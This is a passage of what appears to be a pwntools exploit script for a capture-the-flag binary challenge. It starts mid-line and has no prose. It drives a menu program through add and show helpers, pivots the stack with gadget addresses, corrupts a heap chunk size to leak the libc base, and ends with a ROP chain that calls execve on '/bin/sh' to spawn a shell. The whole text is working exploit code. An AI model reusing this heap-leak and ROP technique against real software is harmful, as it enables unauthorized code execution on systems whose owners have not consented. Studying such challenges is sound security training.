= lambda text=None : gdb.attach(io, text) lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) ur64 = lambda data : u64(data.rjust(8 , '\x00' ))def add (idx,size,content ): sl('+++' ) sla('Index:' ,str (idx)) sla('Size: ' ,str (size)) sla('Data: ' ,content)def show (idx,size ): sl('print' ) sla('Index:' ,str (idx)) sla('Size: ' ,str (size)) pop_rdi = 0x0000000000400be3 pop_rsi_r15 = 0x0000000000400be1 pop_rdx = 0x0000000000001b96 pop_rbp = 0x0000000000400860 leaveret = 0x40090F sh = 0x400909 writee = 0x400B19 sl('\x00' *(8 *9 )+p64(pop_rbp)+p64(0x6010c0 +0x10 )+p64(leaveret)) add(0 ,0x10 ,'A' *0x10 +p64(0 )+p64(0xd81 )) add(1 ,0x1000 ,'B' ) add(1 ,0xd50 ,'' ) show(1 ,0x20 ) libcbase = l64() - 0x3ebc00 lg('libcbase' ) execve = libcbase + libc.symbols['execve' ] lg('execve' ) sl('666' ) add(3 ,0x22000 ,'\x00' *(0x24518 +16 *8 )+'\x00' *8 ) sl('exit\x00\x00\x00\x00/bin/sh\x00' +p64(pop_rdi)*2 +p64(0x6010c0 +8 )+p64(pop_rsi_r15)+p64(0 )*2 +p64(pop_rdx+libcbase)+p64(0 )+p64(execve)) irt()